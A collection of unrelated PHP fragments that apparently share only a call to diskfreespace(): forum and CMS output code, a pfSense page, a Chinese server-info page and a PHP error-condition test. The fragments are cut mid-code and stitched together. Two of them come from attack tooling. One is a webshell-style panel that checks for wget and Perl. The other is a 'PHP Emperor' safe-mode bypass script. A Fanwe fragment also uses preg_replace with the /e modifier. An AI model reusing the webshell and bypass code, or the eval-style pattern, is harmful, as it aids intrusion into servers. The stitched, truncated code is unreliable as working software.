function output() { global $_G; if (defined('DISCUZ_OUTPUTED')) { return; } else { define('DISCUZ_OUTPUTED', 1); } if (!empty($_G['blockupdate'])) { block_updatecache($_G['blockupdate']['bid']); } if (defined('IN_MOBILE')) { mobileoutput(); } if (!defined('IN_MOBILE') && !defined('IN_ARCHIVER')) { $tipsService = Cloud::loadClass('Service_DiscuzTips'); $tipsService->show(); } $havedomain = implode('', $_G['setting']['domain']['app']); if ($_G['setting']['rewritestatus'] || !empty($havedomain)) { $content = ob_get_contents(); $content = output_replace($content); ob_end_clean(); $_G['gzipcompress'] ? ob_start('ob_gzhandler') : ob_start(); echo $content; } if ($_G['setting']['ftp']['connid']) { @ftp_close($_G['setting']['ftp']['connid']); } $_G['setting']['ftp'] = array(); if (defined('CACHE_FILE') && CACHE_FILE && !defined('CACHE_FORBIDDEN') && !defined('IN_MOBILE') && !checkmobile()) { if (diskfreespace(DISCUZ_ROOT . './' . $_G['setting']['cachethreaddir']) > 1000000) { if ($fp = @fopen(CACHE_FILE, 'w')) { flock($fp, LOCK_EX); fwrite($fp, empty($content) ? ob_get_contents() : $content); } @fclose($fp); chmod(CACHE_FILE, 0777); } } if (defined('DISCUZ_DEBUG') && DISCUZ_DEBUG && @(include libfile('function/debug'))) { function_exists('debugmessage') && debugmessage(); } }
echo "..." . substr($u, strlen($u) - 40, 40); } else { echo $u; } ?> </b></font></td> <td width="15%" >PostgreSQL: <?php echo postgresql(); ?> </td> <td width="15%" >WGet: <?php echo testwget(); ?> </td> <td width="25%" >Free space: <?php echo view_size(diskfreespace(getcwd())); ?> </td> </tr> <tr> <td width="35%" >User: <font size=2 color=#ff4500><b><?php echo getuser(); ?> </b></font></td> <td width="15%" >MSSQL: <?php echo testmssql(); ?> </td> <td width="15%" >Perl: <?php echo testperl(); ?>
$jscriptstr .= getJScriptFunction(0); $jscriptstr .= <<<EOD //--> </script> EOD; $pfSenseHead->addScript($jscriptstr); echo $pfSenseHead->getHTML(); ?> <body link="#0000CC" vlink="#0000CC" alink="#0000CC"> <?php include "fbegin.inc"; ?> <form action="dspam.php" method="post" name="iform" id="iform" enctype="multipart/form-data"> <input type="hidden" name="MAX_FILE_SIZE" value="<?php echo diskfreespace('/') - 10 * pow(10, 6); ?> "> <?php if ($input_errors) { print_input_errors($input_errors); } if ($savemsg) { print_info_box($savemsg); } ?> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <?php $tab_array = array();
<tr> <td>服务器操作系统</td> <td><?php echo PHP_OS; ?> </td> <td>服务器端口</td> <td><?php echo getenv(SERVER_PORT); ?> </td> </tr> <tr> <td>服务器剩余空间</td> <td><?php echo intval(diskfreespace(".") / (1024 * 1024)) . "M"; ?> </td> <td>服务器时间</td> <td><?php echo get_date('', "Y年n月j日H点i分s秒"); ?> </td> </tr> <tr> <td>WEB服务器版本</td> <td><?php echo $_SERVER['SERVER_SOFTWARE']; ?> </td> <td>服务器语种</td>
/** * 显示页面 * @param string $cache_file 缓存路径 * @param bool $is_session 是否更新session * @param bool $is_return 是否返回页面内容 * @return mixed */ function display($cache_file, $is_session = true, $is_return = false) { global $_FANWE; $content = NULL; if (!empty($cache_file) && !file_exists($cache_file) && diskfreespace(PUBLIC_ROOT . './data/tpl/caches') > 1000000) { if (makeDir(preg_replace("/^(.*)\\/.*?\\.htm\$/is", "\\1", $cache_file))) { $css_script_php = ''; if (isset($_FANWE['page_parses'])) { $css_script_php = "<?php\n" . '$_FANWE[\'CACHE_CSS_SCRIPT_PHP\']' . " = " . var_export($_FANWE['page_parses'], true) . ";\n?>"; } $content = ob_get_contents(); express($content); writeFile($cache_file, $css_script_php . $content); } } require_once fimport('dynamic/common'); $module_dynamic = ''; if (defined('MODULE_NAME') && MODULE_NAME != '') { $module_dynamic = fimport('dynamic/' . MODULE_NAME); } if (!empty($module_dynamic) && file_exists($module_dynamic)) { require_once $module_dynamic; } if ($content === NULL) { $content = ob_get_contents(); express($content); } ob_end_clean(); $content = preg_replace('/<!--dynamic\\s+(.+?)(?:|\\sargs=(.*?))-->/ies', "\\1('\\2');", $content); if (isset($_FANWE['CACHE_CSS_SCRIPT_PHP'])) { if (isset($_FANWE['CACHE_CSS_SCRIPT_PHP']['css'])) { foreach ($_FANWE['CACHE_CSS_SCRIPT_PHP']['css'] as $url) { cssParse($url); } } if (isset($_FANWE['CACHE_CSS_SCRIPT_PHP']['script'])) { foreach ($_FANWE['CACHE_CSS_SCRIPT_PHP']['script'] as $url) { scriptParse($url); } } } //格式化会员关注 formatUserFollowTags($content); contentParse($content); if ($is_session) { updateSession(); } if ($is_return) { return $content; } $_FANWE['gzip_compress'] ? ob_start('ob_gzhandler') : ob_start(); echo $content; }
$openbasedir = true; $hopenbasedir = "<font color=\"red\">" . $v . "</font>"; } else { $openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>"; } echo "<br>"; echo "Open base dir: {$hopenbasedir}"; echo "<br>"; echo "Disable functions : <b>"; if ('' == ($df = @ini_get('disable_functions'))) { echo "<font color=green>NONE</font></b>"; } else { echo "<font color=red>{$df}</font></b>"; } $free = @diskfreespace($dir); if (!$free) { $free = 0; } $all = @disk_total_space($dir); if (!$all) { $all = 0; } $used = $all - $free; $used_percent = @round(100 / ($all / $free), 2); echo "<PRE>\n"; if (empty($file)) { if (empty($_GET['file'])) { if (empty($_POST['file'])) { die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n <B><CENTER><FONT\r\nCOLOR=\"RED\">PHP Emperor\r\nxb5@hotmail.com</FONT></CENTER></B>"); } else {
<?php /* * Prototype: float disk_free_space( string directory ) * Description: Given a string containing a directory, this function will * return the number of bytes available on the corresponding * filesystem or disk partition */ echo "*** Testing error conditions ***\n"; $file_path = dirname(__FILE__); var_dump(disk_free_space()); // Zero Arguments var_dump(diskfreespace()); var_dump(disk_free_space($file_path, "extra argument")); // More than valid number of arguments var_dump(diskfreespace($file_path, "extra argument")); var_dump(disk_free_space($file_path . "/dir1")); // Invalid directory var_dump(diskfreespace($file_path . "/dir1")); $fh = fopen($file_path . "/disk_free_space.tmp", "w"); fwrite($fh, " Garbage data for the temporary file"); var_dump(disk_free_space($file_path . "/disk_free_space.tmp")); // file input instead of directory var_dump(diskfreespace($file_path . "/disk_free_space.tmp")); fclose($fh); echo "\n-- Done --";